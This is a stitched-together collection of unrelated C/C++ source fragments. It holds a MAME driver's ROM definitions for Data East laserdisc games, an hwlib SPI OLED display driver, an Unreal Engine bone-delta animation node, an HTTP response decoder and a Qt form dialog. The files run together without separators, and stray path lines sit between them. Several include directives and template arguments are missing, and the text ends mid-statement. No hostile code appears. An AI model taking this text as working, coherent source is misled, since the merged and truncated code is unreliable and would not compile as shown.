MCFG_GFXDECODE_ADD("gfxdecode", "palette", rblaster) MCFG_PALETTE_ADD("palette", 0x800) MCFG_PALETTE_FORMAT(BBGGGRRR_inverted) //MCFG_DEVICE_ADD("acia", ACIA6850, 0) //MCFG_ACIA6850_TXD_HANDLER(DEVWRITELINE("laserdisc", sony_ldp1000_device, write)) //MCFG_ACIA6850_RXD_HANDLER(DEVREADLINE("laserdisc", sony_ldp1000_device, read)) /* sound hardware */ /* TODO: mixing */ MCFG_SPEAKER_STANDARD_STEREO("lspeaker", "rspeaker") MCFG_GENERIC_LATCH_8_ADD("soundlatch") MCFG_GENERIC_LATCH_8_ADD("soundlatch2") MCFG_SOUND_ADD("ay1", AY8910, 1500000) MCFG_SOUND_ROUTE(ALL_OUTPUTS, "lspeaker", 0.25) MCFG_SOUND_ROUTE(ALL_OUTPUTS, "rspeaker", 0.25) MCFG_SOUND_ADD("ay2", AY8910, 1500000) MCFG_SOUND_ROUTE(ALL_OUTPUTS, "lspeaker", 0.25) MCFG_SOUND_ROUTE(ALL_OUTPUTS, "rspeaker", 0.25) MCFG_SOUND_MODIFY("laserdisc") MCFG_SOUND_ROUTE(0, "lspeaker", 1.0) MCFG_SOUND_ROUTE(1, "rspeaker", 1.0) MACHINE_CONFIG_END /*************************************************************************** Game driver(s) ***************************************************************************/ ROM_START( begas ) ROM_REGION( 0x10000, "maincpu", 0 ) ROM_LOAD( "an05-3", 0x4000, 0x2000, CRC(c917a283) SHA1(b91f8cd18b8cc1189e4b69d6932d6f01d4ccfb81) ) ROM_LOAD( "an04-3", 0x6000, 0x2000, CRC(935b2b0a) SHA1(e7c09960607569bd88e9af396aa70661f4352efb) ) ROM_LOAD( "an03-3", 0x8000, 0x2000, CRC(79438d80) SHA1(e641336f23c6b84d84313ef3e94871ac9aa8b612) ) ROM_LOAD( "an02-3", 0xa000, 0x2000, CRC(98ce4ca0) SHA1(e7db66b1f0f06b0a21e7450962ba70f460a24847) ) ROM_LOAD( "an01", 0xc000, 0x2000, CRC(15f8921d) SHA1(32f945bee8f30e5896da38ac6184a11c0a8194bb) ) ROM_LOAD( "an00-3", 0xe000, 0x2000, CRC(124a3a36) SHA1(e2f7110196cb46fcda429c613388285b46ec1a9e) ) ROM_REGION( 0x10000, "audiocpu", 0 ) ROM_LOAD( "an06", 0xe000, 0x2000, CRC(cbbcd730) SHA1(2f2e78fcf2eba71044bec60d27d8756d9b5af551) ) ROM_REGION( 0xc000, "gfx1", 0 ) ROM_LOAD( "an0a", 0x0000, 0x2000, CRC(e429305d) SHA1(9a05ab7916235d028b6b05270703516581825660) ) ROM_LOAD( "an0b", 0x4000, 0x2000, CRC(09e4b780) SHA1(0735420b8529017e507feecf8f74fecd80fbf7d5) ) ROM_LOAD( "an0c", 0x8000, 0x2000, CRC(0c127207) SHA1(b8372b2fa20ffe5ac278f558c07fd761c86e514b) ) ROM_LOAD( "an07", 0x2000, 0x2000, CRC(6b8ad735) SHA1(a703523202d40e409e2345a6626b9e29b7a59cd3) ) ROM_LOAD( "an08", 0x6000, 0x2000, CRC(b5518391) SHA1(57f6407491cff075f76a8b459cc33e8b9a91e7de) ) ROM_LOAD( "an09", 0xa000, 0x2000, CRC(b7375fd7) SHA1(93a59e99e375bdba77199a705b5e304ece221617) ) ROM_REGION( 0x20, "proms", 0 ) ROM_LOAD( "af-8.bpr", 0x00, 0x20, CRC(20006a72) SHA1(6d0e1c6de45079f9e128186478a7e0ed3fd471d0) ) ROM_REGION( 0x1000, "plds", 0 ) ROM_LOAD( "lp1-1.pld", 0x0000, 44, CRC(cc84cb09) SHA1(61620ef30dfd6c81cc517f95ab6358c619ca3298) ) ROM_LOAD( "lp1-2.pld", 0x0100, 44, CRC(60e16fc4) SHA1(1df735f393ed0fcf1272fceada9764084ff11e07) ) ROM_LOAD( "lp1-3.pld", 0x0200, 52, CRC(976a7c57) SHA1(202c55a236799fb44a977c074c231ed54c71a872) ) ROM_LOAD( "lp1-4.pld", 0x0300, 52, CRC(cc9a442f) SHA1(5d08873b204b15f888d02d79e049119e05e41b45) ) ROM_LOAD( "lp1-5.pld", 0x0400, 44, CRC(2d9f3118) SHA1(02e40a99f131bb47562d5b90fdfb11ca8cd90da6) ) ROM_LOAD( "lp2-1.pld", 0x0500, 44, CRC(dbb05313) SHA1(fc37db24f12c4f5170945c9ec9a333e4583c1712) ) ROM_LOAD( "lp2-4.pld", 0x0600, 44, CRC(4c72736c) SHA1(6f7521284a5d960ff05c4361095c3e89a79f7475) ) DISK_REGION( "laserdisc" ) DISK_IMAGE_READONLY( "begas", 0, NO_DUMP ) ROM_END ROM_START( begas1 ) ROM_REGION( 0x10000, "maincpu", 0 ) ROM_LOAD( "an05", 0x4000, 0x2000, CRC(91a05549) SHA1(425668ee0dcf44bc011ee3649aa82df6ad3180eb) ) ROM_LOAD( "an04", 0x6000, 0x2000, CRC(670966fe) SHA1(c179e3045ed0e46c5829fce5297ada475141e662) ) ROM_LOAD( "an03", 0x8000, 0x2000, CRC(d2d85cdf) SHA1(da557ce5c3252297d2c073a0242e1989b0b7388b) ) ROM_LOAD( "an02", 0xa000, 0x2000, CRC(84d13c20) SHA1(6474d90b84bca88c35cdb1d4c117ce431d6addf7) ) ROM_LOAD( "an01", 0xc000, 0x2000, CRC(15f8921d) SHA1(32f945bee8f30e5896da38ac6184a11c0a8194bb) ) ROM_LOAD( "an00", 0xe000, 0x2000, CRC(184297f3) SHA1(6813f076fde3eb583929506b2e65d9cd988b1b75) ) ROM_REGION( 0x10000, "audiocpu", 0 ) ROM_LOAD( "an06", 0xe000, 0x2000, CRC(cbbcd730) SHA1(2f2e78fcf2eba71044bec60d27d8756d9b5af551) ) ROM_REGION( 0xc000, "gfx1", 0 ) ROM_LOAD( "an0a", 0x0000, 0x2000, CRC(e429305d) SHA1(9a05ab7916235d028b6b05270703516581825660) ) ROM_LOAD( "an0b", 0x4000, 0x2000, CRC(09e4b780) SHA1(0735420b8529017e507feecf8f74fecd80fbf7d5) ) ROM_LOAD( "an0c", 0x8000, 0x2000, CRC(0c127207) SHA1(b8372b2fa20ffe5ac278f558c07fd761c86e514b) ) ROM_LOAD( "an07", 0x2000, 0x2000, CRC(6b8ad735) SHA1(a703523202d40e409e2345a6626b9e29b7a59cd3) ) ROM_LOAD( "an08", 0x6000, 0x2000, CRC(b5518391) SHA1(57f6407491cff075f76a8b459cc33e8b9a91e7de) ) ROM_LOAD( "an09", 0xa000, 0x2000, CRC(b7375fd7) SHA1(93a59e99e375bdba77199a705b5e304ece221617) ) ROM_REGION( 0x20, "proms", 0 ) ROM_LOAD( "af-8.bpr", 0x00, 0x20, CRC(20006a72) SHA1(6d0e1c6de45079f9e128186478a7e0ed3fd471d0) ) ROM_REGION( 0x1000, "plds", 0 ) ROM_LOAD( "lp1-1.pld", 0x0000, 44, CRC(cc84cb09) SHA1(61620ef30dfd6c81cc517f95ab6358c619ca3298) ) ROM_LOAD( "lp1-2.pld", 0x0100, 44, CRC(60e16fc4) SHA1(1df735f393ed0fcf1272fceada9764084ff11e07) ) ROM_LOAD( "lp1-3.pld", 0x0200, 52, CRC(976a7c57) SHA1(202c55a236799fb44a977c074c231ed54c71a872) ) ROM_LOAD( "lp1-4.pld", 0x0300, 52, CRC(cc9a442f) SHA1(5d08873b204b15f888d02d79e049119e05e41b45) ) ROM_LOAD( "lp1-5.pld", 0x0400, 44, CRC(2d9f3118) SHA1(02e40a99f131bb47562d5b90fdfb11ca8cd90da6) ) ROM_LOAD( "lp2-1.pld", 0x0500, 44, CRC(dbb05313) SHA1(fc37db24f12c4f5170945c9ec9a333e4583c1712) ) ROM_LOAD( "lp2-4.pld", 0x0600, 44, CRC(4c72736c) SHA1(6f7521284a5d960ff05c4361095c3e89a79f7475) ) DISK_REGION( "laserdisc" ) DISK_IMAGE_READONLY( "begas", 0, NO_DUMP ) ROM_END ROM_START( rblaster ) ROM_REGION( 0x10000, "maincpu", 0 ) ROM_LOAD( "01.bin", 0xc000, 0x2000, CRC(e4733c49) SHA1(357f46a80273f8a365d16cddf5e2caaeeacaf4ad) ) ROM_LOAD( "00.bin", 0xe000, 0x2000, CRC(084d6ae2) SHA1(f49eb2d53bad5af88a12535ba628c9decce690ff) ) ROM_REGION( 0x10000, "audiocpu", 0 ) ROM_LOAD( "02.bin", 0xe000, 0x2000, CRC(6c20335d) SHA1(b28e80f112553af8e3fba9ebbfc10d1f56396ac1) ) ROM_REGION( 0xc000, "gfx1", 0 ) ROM_LOAD( "03.bin", 0x0000, 0x2000, CRC(d1ff5ffb) SHA1(29df207e225e3b0477d5566d256198310d6ae526) ) ROM_LOAD( "06.bin", 0x2000, 0x2000, CRC(d1ff5ffb) SHA1(29df207e225e3b0477d5566d256198310d6ae526) ) ROM_LOAD( "04.bin", 0x4000, 0x2000, CRC(da2c84d9) SHA1(3452b0e2a45fa771e226c3a3668afbf3ceb0ec11) ) ROM_LOAD( "07.bin", 0x6000, 0x2000, CRC(da2c84d9) SHA1(3452b0e2a45fa771e226c3a3668afbf3ceb0ec11) ) ROM_LOAD( "05.bin", 0x8000, 0x2000, CRC(4608b516) SHA1(44af4be84a0b807ea0813ce86376a4b6fd927e5a) ) ROM_LOAD( "08.bin", 0xa000, 0x2000, CRC(4608b516) SHA1(44af4be84a0b807ea0813ce86376a4b6fd927e5a) ) DISK_REGION( "laserdisc" ) DISK_IMAGE_READONLY( "rblaster", 0, SHA1(1563ea907d461592e17646848fdf2dce904bba32) ) ROM_END ROM_START( cobra ) ROM_REGION( 0x10000, "maincpu", 0 ) ROM_LOAD( "au03-2", 0x8000, 0x2000, CRC(8f0a8fba) SHA1(8e11d2bd665a5ca6b3bb11aa2b707458c1534327) ) ROM_LOAD( "au02-2", 0xa000, 0x2000, CRC(7db11acf) SHA1(1eebae0741f5735bc8966f3c31a9c07dac2e3916) ) ROM_LOAD( "au01-2", 0xc000, 0x2000, CRC(523dd8f6) SHA1(47bd4c9b2272e9a710e6e97f2505075df68101ed) ) ROM_LOAD( "au00-2", 0xe000, 0x2000, CRC(6c0f1f16) SHA1(ed05d3eaa24e84b1dfb4e1eb5f69b23e4a1494ba) ) ROM_COPY( "maincpu", 0x8000, 0x4000, 0x4000 ) ROM_REGION( 0x10000, "audiocpu", 0 ) ROM_LOAD( "au06", 0xe000, 0x2000, CRC(ccc94eb0) SHA1(354a933ddc6a1e1118c2bf176faaab5d01fc92d3) ) ROM_REGION( 0xc000, "gfx1", 0 ) ROM_LOAD( "au0a", 0x0000, 0x2000, CRC(6aaedcf3) SHA1(52dc913eecf8a159784d500217cffd7a6d8eb45c) ) ROM_LOAD( "au0b", 0x4000, 0x2000, CRC(92247877) SHA1(f9bb0c20212ab13caabfb5beb9b6afc807bc9555) ) ROM_LOAD( "au0c", 0x8000, 0x2000, CRC(d00a2762) SHA1(84d4329b39b9fd30682b7efa5cb2744934c5ee5c) ) ROM_LOAD( "au07", 0x2000, 0x2000, CRC(d4bf12a5) SHA1(e172f69ae02ac2670b70af0cfcf3887dd99c2761) ) ROM_LOAD( "au08", 0x6000, 0x2000, CRC(63158274) SHA1(c728e8ba0a11ea67cf508877ad74a3aab9ef26fc) ) ROM_LOAD( "au09", 0xa000, 0x2000, CRC(74e93394) SHA1(7a1470cf2008b1bef8d950939b758707297b3655) ) DISK_REGION( "laserdisc" ) DISK_IMAGE_READONLY( "cobra", 0, SHA1(8390498294aca97a5d1769032e7b115d1a42f5d3) ) ROM_END ROM_START( cobraa ) ROM_REGION( 0x10000, "maincpu", 0 ) ROM_LOAD( "bd03-a4.bin", 0x8000, 0x2000, CRC(f1b9df77) SHA1(7fcc613463441f69e4336c12252a616508c296d1) ) ROM_LOAD( "bd02-a3.bin", 0xa000, 0x2000, CRC(3d802707) SHA1(89033b2f9b295b74b6b5034c837509377f5aba62) ) ROM_LOAD( "bd01-a2.bin", 0xc000, 0x2000, CRC(1b4db507) SHA1(c58021cb7dcbcb159d9bb24d231755b3d07aa74a) ) ROM_LOAD( "bd000-1-a1.bin", 0xe000, 0x2000, CRC(8d9ad777) SHA1(10914251350988a82c0cfa1dc6e22587b885cc71) ) ROM_COPY( "maincpu", 0x8000, 0x4000, 0x4000 ) ROM_REGION( 0x10000, "audiocpu", 0 ) ROM_LOAD( "bd07-b11.bin", 0xe000, 0x2000, CRC(584d714a) SHA1(e3df3c42367d879c5f12db78d2797049ba18e6f8) ) ROM_REGION( 0xc000, "gfx1", 0 ) ROM_LOAD( "bd04-.a10", 0x0000, 0x2000, CRC(33013cc2) SHA1(380ca35a891805e2aa1d35000a3770483aaedbfc) ) ROM_LOAD( "bd06-a8.bin", 0x4000, 0x2000, CRC(b1340125) SHA1(eef325c56d3a441432c7d31ea1dadfaa0c871c10) ) ROM_LOAD( "bd05-a9.bin", 0x8000, 0x2000, CRC(98412178) SHA1(20e93f377a0d572a6752d7435aa4d0a3feec0e92) ) DISK_REGION( "laserdisc" ) DISK_IMAGE_READONLY( "cobra", 0, SHA1(8390498294aca97a5d1769032e7b115d1a42f5d3) ) // might be wrong for this set ROM_REGION( 0x40000, "misc", 0 ) ROM_LOAD( "lp4-1.pal16l8cn.bin", 0x0000, 0x40000, CRC(4aeb2c7e) SHA1(3c962656cffc8d927047c64a15afccab767d776f) ) // dumped with cgfm's tool ROM_LOAD( "lp4-1.pal16l8cn.pld", 0x0000, 0x00f71, CRC(ac1f1177) SHA1(ab721a840207354916c96e0ae83220fed12c6352) ) // ROM_LOAD( "lp4-2-pal10l8.d6.jed", 0x0000, 0x00249, CRC(309b3ce5) SHA1(04f185911d33730004c7cd44a693dd1b69b82032) ) ROM_LOAD( "lp4-2-pal10l8.d6.bin", 0x0000, 0x0002c, CRC(e594fd13) SHA1(4bb8a9b7cf8f8eaa3c9f290b6e5085a10c927e20) ) ROM_REGION( 0x20, "proms", 0 ) ROM_LOAD( "vd0-c.h15", 0x0000, 0x00020, CRC(02c27aa0) SHA1(e7b814aabbfbcd992f78254b29b6ab6fa8115429) ) ROM_LOAD( "vd0-t.f6", 0x0000, 0x00020, CRC(78449942) SHA1(584e25f7bffccd943c4db1edf05552f7989e08a4) ) ROM_END GAME( 1983, begas, 0, rblaster, begas, deco_ld_state, 0, ROT0, "Data East", "Bega's Battle (Revision 3)", MACHINE_NOT_WORKING ) GAME( 1983, begas1, begas, rblaster, begas, deco_ld_state, 0, ROT0, "Data East", "Bega's Battle (Revision 1)", MACHINE_NOT_WORKING ) GAME( 1984, cobra, 0, rblaster, cobra, deco_ld_state, 0, ROT0, "Data East", "Cobra Command (Data East LD, set 1)", MACHINE_NOT_WORKING ) GAME( 1984, cobraa, cobra, rblaster, cobra, deco_ld_state, 0, ROT0, "Data East", "Cobra Command (Data East LD, set 2)", MACHINE_NOT_WORKING ) // might be a prototype // Thunder Storm (Cobra Command Japanese version) GAME( 1985, rblaster, 0, rblaster, rblaster, deco_ld_state, 0, ROT0, "Data East", "Road Blaster (Data East LD)", MACHINE_NOT_WORKING ) /** * \file hwlib-glcd-oled-spi.hpp * \brief SPI OLED driver for 128x64 screens. * \author * \copyright Copyright (c) 2016, * \date 2016-10-06 * * Distributed under the Boost Software License, Version 1.0. * (See accompanying file LICENSE_1_0.txt or copy at * http://www.boost.org/LICENSE_1_0.txt) * * This file incorporates work covered by the following copyright and * license notice: */ // ========================================================================== // // Copyright : 2016 // // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // // ========================================================================== /// @file #pragma once /* Usage: * * auto mosi = target::pin_out(target::pins::d9); * auto sclk = target::pin_out(target::pins::d10); * auto dc = target::pin_out(target::pins::d11); * auto cs = target::pin_out(target::pins::d12); * auto reset = target::pin_out(target::pins::d13); * auto miso = target::pin_in (target::pins::d5); * * auto spi = hwlib::spi_bus_bit_banged_sclk_mosi_miso(sclk, mosi, miso); * * hwlib::glcd_oled_spi oled(spi, cs, dc, reset); * oled.write({6, 6}, oled.foreground); * oled.flush(); * * In this example the pins on the OLED are connected as follows: * * | OLED | DUE | * |------+-----| * | Data | d9 | * | Clk | d10 | * | DC | d11 | * | Rst | d13 | * | CS | d12 | * | Vin | 5V | * | Gnd | GND | */ #include namespace hwlib { class glcd_oled_spi : public window { spi_bus &bus; pin_out &cs; pin_out &dc; pin_out &reset; enum command_t : uint8_t { SETCONTRAST = 0x81, DISPLAYALLON_RESUME = 0xA4, DISPLAYALLON = 0xA5, NORMALDISPLAY = 0xA6, INVERTDISPLAY = 0xA7, DISPLAYOFF = 0xAE, DISPLAYON = 0xAF, SETDISPLAYOFFSET = 0xD3, SETCOMPINS = 0xDA, SETVCOMDETECT = 0xDB, SETDISPLAYCLOCKDIV = 0xD5, SETPRECHARGE = 0xD9, SETMULTIPLEX = 0xA8, SETLOWCOLUMN = 0x00, SETHIGHCOLUMN = 0x10, SETSTARTLINE = 0x40, MEMORYMODE = 0x20, COLUMNADDR = 0x21, PAGEADDR = 0x22, COMSCANINC = 0xC0, COMSCANDEC = 0xC8, SEGREMAP = 0xA0, CHARGEPUMP = 0x8D, EXTERNALVCC = 0x01, SWITCHCAPVCC = 0x02, ACTIVATE_SCROLL = 0x2F, DEACTIVATE_SCROLL = 0x2E, SET_VERTICAL_SCROLL_AREA = 0xA3, RIGHT_HORIZONTAL_SCROLL = 0x26, LEFT_HORIZONTAL_SCROLL = 0x27, VERTICAL_AND_RIGHT_HORIZONTAL_SCROLL = 0x29, VERTICAL_AND_LEFT_HORIZONTAL_SCROLL = 0x2A, }; uint8_t buffer[128 * 64 / 8]; void write_implementation(location pos, color col, buffering buf ) override { const int i = pos.x + (pos.y / 8) * size.x; if (col == foreground){ buffer[i] |= (0x01 << (pos.y % 8)); } else { buffer[i] &= ~(0x01 << (pos.y % 8)); } } void write_cmd(uint8_t d0, uint8_t d1, uint8_t d2 ) { bus.write_and_read( cs, 1, &d0, nullptr ) ; bus.write_and_read( cs, 1, &d1, nullptr ) ; bus.write_and_read( cs, 1, &d2, nullptr ) ; } public: void flush() { HWLIB_TRACE; write_cmd( COLUMNADDR, 0, 127 ); write_cmd( PAGEADDR, 0, 7 ); // Brace yourselves, data is coming. dc.set(true); bus.write_and_read( cs, sizeof( buffer ), buffer, nullptr ); dc.set(false); } void clear( buffering buf = buffering::unbuffered ) override { for( auto & b : buffer ){ b = 0x55; } flush(); } glcd_oled_spi(spi_bus &bus, pin_out &cs, pin_out &dc, pin_out &reset) : window(location(128, 64), black, white), bus(bus), cs(cs), dc(dc), reset(reset) { cs.set(false); dc.set(false); reset.set(true); wait_ms(10); reset.set(false); wait_ms(10); reset.set(true); cs.set(true); wait_ms( 20 ); static constexpr const uint8_t init_sequence[] = { DISPLAYOFF, SETDISPLAYCLOCKDIV, 0x80, SETMULTIPLEX, 64 - 1, // Window height, which is const. SETDISPLAYOFFSET, 0x00, SETSTARTLINE | 0x00, CHARGEPUMP, 0x14, MEMORYMODE, 0x00, SEGREMAP | 0x01, COMSCANDEC, SETCOMPINS, 0x12, SETCONTRAST, 0xCF, SETPRECHARGE, 0xF1, SETVCOMDETECT, 0x40, DISPLAYALLON_RESUME, NORMALDISPLAY, DISPLAYON, }; bus.write_and_read( cs, sizeof( init_sequence ), init_sequence, nullptr ); clear(); } }; } // Copyright 1998-2017 Epic Games, Inc. All Rights Reserved. #include "BoneControllers/AnimNode_CopyBoneDelta.h" #include "Components/SkeletalMeshComponent.h" #include "AnimationRuntime.h" #include "Animation/AnimInstanceProxy.h" FAnimNode_CopyBoneDelta::FAnimNode_CopyBoneDelta() : bCopyTranslation(false) , bCopyRotation(false) , bCopyScale(false) , CopyMode(CopyBoneDeltaMode::Accumulate) , TranslationMultiplier(1.0f) , RotationMultiplier(1.0f) , ScaleMultiplier(1.0f) { } void FAnimNode_CopyBoneDelta::GatherDebugData(FNodeDebugData& DebugData) { FString DebugLine = DebugData.GetNodeName(this); DebugData.AddDebugItem(DebugLine); ComponentPose.GatherDebugData(DebugData); } void FAnimNode_CopyBoneDelta::EvaluateSkeletalControl_AnyThread(FComponentSpacePoseContext& Output, TArray& OutBoneTransforms) { if(!bCopyTranslation && !bCopyRotation && !bCopyScale) { return; } const FBoneContainer& BoneContainer = Output.Pose.GetPose().GetBoneContainer(); FCompactPoseBoneIndex SourceBoneIndex = SourceBone.GetCompactPoseIndex(BoneContainer); FCompactPoseBoneIndex TargetBoneIndex = TargetBone.GetCompactPoseIndex(BoneContainer); FTransform SourceTM = Output.Pose.GetComponentSpaceTransform(SourceBoneIndex); FTransform TargetTM = Output.Pose.GetComponentSpaceTransform(TargetBoneIndex); // Convert to parent space FAnimationRuntime::ConvertCSTransformToBoneSpace(Output.AnimInstanceProxy->GetComponentTransform(), Output.Pose, SourceTM, SourceBoneIndex, BCS_ParentBoneSpace); FAnimationRuntime::ConvertCSTransformToBoneSpace(Output.AnimInstanceProxy->GetComponentTransform(), Output.Pose, TargetTM, TargetBoneIndex, BCS_ParentBoneSpace); // Ref pose transform FTransform RefLSTransform = BoneContainer.GetReferenceSkeleton().GetRefBonePose()[SourceBone.GetMeshPoseIndex(BoneContainer).GetInt()]; // Get transform relative to ref pose SourceTM.SetToRelativeTransform(RefLSTransform); if(CopyMode == CopyBoneDeltaMode::Accumulate) { if(bCopyTranslation) { TargetTM.AddToTranslation(SourceTM.GetTranslation() * TranslationMultiplier); } if(bCopyRotation) { FVector Axis; float Angle; SourceTM.GetRotation().ToAxisAndAngle(Axis, Angle); TargetTM.SetRotation(FQuat(Axis, Angle * RotationMultiplier) * TargetTM.GetRotation()); } if(bCopyScale) { TargetTM.SetScale3D(TargetTM.GetScale3D() * (SourceTM.GetScale3D() * ScaleMultiplier)); } } else //CopyMode = CopyBoneDeltaMode::Copy { if(bCopyTranslation) { TargetTM.SetTranslation(SourceTM.GetTranslation() * TranslationMultiplier); } if(bCopyRotation) { FVector Axis; float Angle; SourceTM.GetRotation().ToAxisAndAngle(Axis, Angle); TargetTM.SetRotation(FQuat(Axis, Angle * RotationMultiplier)); } if(bCopyScale) { TargetTM.SetScale3D(SourceTM.GetScale3D() * ScaleMultiplier); } } // Back out to component space FAnimationRuntime::ConvertBoneSpaceTransformToCS(Output.AnimInstanceProxy->GetComponentTransform(), Output.Pose, TargetTM, TargetBoneIndex, BCS_ParentBoneSpace); OutBoneTransforms.Add(FBoneTransform(TargetBoneIndex, TargetTM)); } bool FAnimNode_CopyBoneDelta::IsValidToEvaluate(const USkeleton* Skeleton, const FBoneContainer& RequiredBones) { return (TargetBone.IsValidToEvaluate(RequiredBones) && (TargetBone == SourceBone || SourceBone.IsValidToEvaluate(RequiredBones))); } void FAnimNode_CopyBoneDelta::InitializeBoneReferences(const FBoneContainer& RequiredBones) { SourceBone.Initialize(RequiredBones); TargetBone.Initialize(RequiredBones); } Engine/Registries/ResourceManager.cpp #include "ResourceManager.h" /* * EHttpClientDecoder.cpp * * Created on: 2017-1-4 * Author: */ #include "../inc/EHttpClientDecoder.hh" #include "../inc/EHttpEndOfContent.hh" #include "../inc/EDecoderState.hh" #include "../inc/EHttpStatus.hh" #include "../inc/EHttpException.hh" namespace efc { namespace eio { sp EHttpClientDecoder::LOG = ELoggerManager::getLogger("EHttpClientDecoder"); sp EHttpClientDecoder::DECODER_STATE_ATT(new EString("http.ds")); sp EHttpClientDecoder::PARTIAL_HEAD_ATT(new EString("http.ph")); sp EHttpClientDecoder::BODY_REMAINING_BYTES(new EString("http.brb")); sp EHttpClientDecoder::BODY_CHUNKED(new EString("http.ckd")); void EHttpClientDecoder::decode(sp& session, EIoBuffer* msg, sp& out) { sp state = dynamic_pointer_cast(session->getAttribute(DECODER_STATE_ATT.get())); if (state == null) { state = new EInteger(EDecoderState::NEW); session->setAttribute(DECODER_STATE_ATT, state); } sp newmsg; switch (state->intValue()) { case EDecoderState::HEAD: { LOG->debug("decoding HEAD"); // grab the stored a partial HEAD request sp oldBuffer = dynamic_pointer_cast(session->getAttribute(PARTIAL_HEAD_ATT.get())); // concat the old buffer and the new incoming one newmsg = EIoBuffer::allocate(oldBuffer->remaining() + msg->remaining())->put(oldBuffer.get())->put(msg)->flip(); // now let's decode like it was a new message msg = newmsg.get(); } case EDecoderState::NEW: { LOG->debug("decoding NEW"); sp rq = parseHttpReponseHead(msg->buf()); if (rq == null) { // we copy the incoming BB because it's going to be recycled by the inner IoProcessor for next reads sp partial = EIoBuffer::allocate(msg->remaining()); partial->put(msg->buf()); partial->flip(); // no request decoded, we accumulate session->setAttribute(PARTIAL_HEAD_ATT, partial); session->setAttribute(DECODER_STATE_ATT, new EInteger(EDecoderState::HEAD)); break; } else { out->write(rq); // is it a request with some body content ? session->setAttribute(DECODER_STATE_ATT, new EInteger(EDecoderState::BODY)); sp contentLen = rq->getHeader("content-length"); sp transferEnc = rq->getHeader("transfer-encoding"); sp connection = rq->getHeader("connection"); if (contentLen != null) { LOG->debug_("found content len : %s", contentLen->c_str()); session->setAttribute(BODY_REMAINING_BYTES, new EInteger(atol(contentLen->c_str()))); } else if (transferEnc != null && transferEnc->equalsIgnoreCase("chunked")) { LOG->debug("no content len but chunked"); session->setAttribute(BODY_CHUNKED, new EBoolean(true)); } else if (connection != null && connection->equalsIgnoreCase("close")) { session->closeNow(); } else { throw EHttpException(__FILE__, __LINE__, EHttpStatus::CLIENT_ERROR_LENGTH_REQUIRED.code(), "no content length !"); } } break; } case EDecoderState::BODY: { LOG->debug_("decoding BODY: %d bytes", msg->remaining()); int chunkSize = msg->remaining(); // send the chunk of body if (chunkSize != 0) { sp wb = EIoBuffer::allocate(msg->remaining()); wb->put(msg); wb->flip(); out->write(wb); } msg->position(msg->limit()); // do we have reach end of body ? int remaining = 0; sp chunked = dynamic_pointer_cast(session->getAttribute(BODY_CHUNKED.get())); // if chunked, remaining is the msg.remaining() if (chunked != null ) { remaining = chunkSize; } else { // otherwise, manage with content-length remaining = dynamic_pointer_cast(session->getAttribute(BODY_REMAINING_BYTES.get()))->intValue(); remaining -= chunkSize; } if (remaining <= 0) { LOG->debug("end of HTTP body"); session->setAttribute(DECODER_STATE_ATT, new EInteger(EDecoderState::NEW)); session->removeAttribute(BODY_REMAINING_BYTES.get()); if (chunked != null) { session->removeAttribute(BODY_CHUNKED.get()); } out->write(new EHttpEndOfContent()); } else { if (chunked == null) { session->setAttribute(BODY_REMAINING_BYTES, new EInteger(remaining)); } } break; } default: { EString s("Unknonwn decoder state : "); s << state->intValue(); throw EHttpException(__FILE__, __LINE__, EHttpStatus::SERVER_ERROR_INTERNAL_SERVER_ERROR.code(), s.c_str()); } } } sp EHttpClientDecoder::parseHttpReponseHead(EIOByteBuffer* buffer) { char* rnrn = eso_memstr((char*)buffer->address(), buffer->limit(), RAW_VALUE_PATTERN); int index_rnrn = rnrn ? rnrn - (char*)buffer->address() : -1; if (index_rnrn < 0) { // we didn't receive the full HTTP head return null; } EString headers((char*)buffer->address(), 0, index_rnrn); EArray headerFields = EPattern::split(HEADERS_BODY_PATTERN, headers.c_str()); EString* requestLine = headerFields[0]; sp > generalHeaders = new EHashMap(); for (int i = 1; i < headerFields.length(); i++) { int index_colon = headerFields[i]->indexOf(HEADER_VALUE_PATTERN); if (index_colon >= 0) { EString* key = new EString(headerFields[i]->c_str(), 0, index_colon); key->toLowerCase(); EString* val = new EString(headerFields[i]->c_str() + index_colon+1); val->trim(); generalHeaders->put(key, val); } else { EString* key = new EString(headerFields[i]); key->toLowerCase(); generalHeaders->put(key, new EString()); } } EArray elements = EPattern::split(RESPONSE_LINE_PATTERN, requestLine->c_str()); EString* version = elements[0]; int statusCode = EInteger::valueOf(elements[1]->c_str()).intValue(); // we put the buffer position where we found the beginning of the HTTP body buffer->position(index_rnrn + 4); return new EHttpResponseImpl(version, statusCode, generalHeaders); } void EHttpClientDecoder::finishDecode(sp& session, sp& out) { // Do nothing } void EHttpClientDecoder::dispose(sp& session) THROWS(EException) { // Do nothing } } /* namespace eio */ } /* namespace efc */ bin/template/DemoType/code/YZAzzXggUI/AzzXggCreate.cpp #pragma execution_character_set("utf-8") #include "AzzXggCreate.h" #include #include #include #include #include #include #include #include AzzXggCreate::AzzXggCreate(QWidget *parent) : QWidget(parent) { setWindowTitle(tr("XXXX")); setAttribute(Qt::WA_DeleteOnClose, true); setWindowModality(Qt::ApplicationModal); setupUi(); connect(ui->btnOK, &QPushButton::clicked, this, &AzzXggCreate::onOK); connect(ui->btnCancel, &QPushButton::clicked, this, &AzzXggCreate::close); //文件内字段测试 //void TestKeyAaa(); //void TestKeyBbb(QString &str); //TestKeyCcc //TestKey222 //TestKey-- //TestKey222 } AzzXggCreate::~AzzXggCreate() { delete ui; } void AzzXggCreate::initData(const QString &azzxggId) { m_strAzzXggId = azzxggId; YZProgressBarAuto progressBar(NULL, RoundBar); // loadData(); } void AzzXggCreate::setupUi() { ui = new DetailWidgetUI(); ui->setupUi(this); m_lineEditName = new QLineEdit(); ui->addLineWidget(tr("姓名"), m_lineEditName, true); connect(m_lineEditName, &QLineEdit::textChanged, this, &AzzXggCreate::testOK); // ui->addStretch(); ui->btnOK->setEnabled(false); } void AzzXggCreate::testOK() { bool bEnabled(true); QString name = m_lineEditName->text(); bEnabled &= !name.isEmpty(); ui->btnOK->setEnabled(bEnabled); } void AzzXggCreate::loadData() { if (m_strAzzXggId.isEmpty()) { return; } YZProgressBarAuto progressBar(NULL, RoundBar); YZAzzXgg azzxgg; YZAzzXggDataPtr()->getAzzXgg(m_strAzzXggId, azzxgg); m_lineEditName->setText(azzxgg.name); // testOK(); } void AzzXggCreate::onOK() { YZProgressBarAuto progressBar(NULL, RoundBar, m_strAzzXggId.isEmpty() ? ProgressCreate : ProgressUpdate); YZAzzXgg azzxgg; azzxgg.name = m_lineEditName->text(); // if 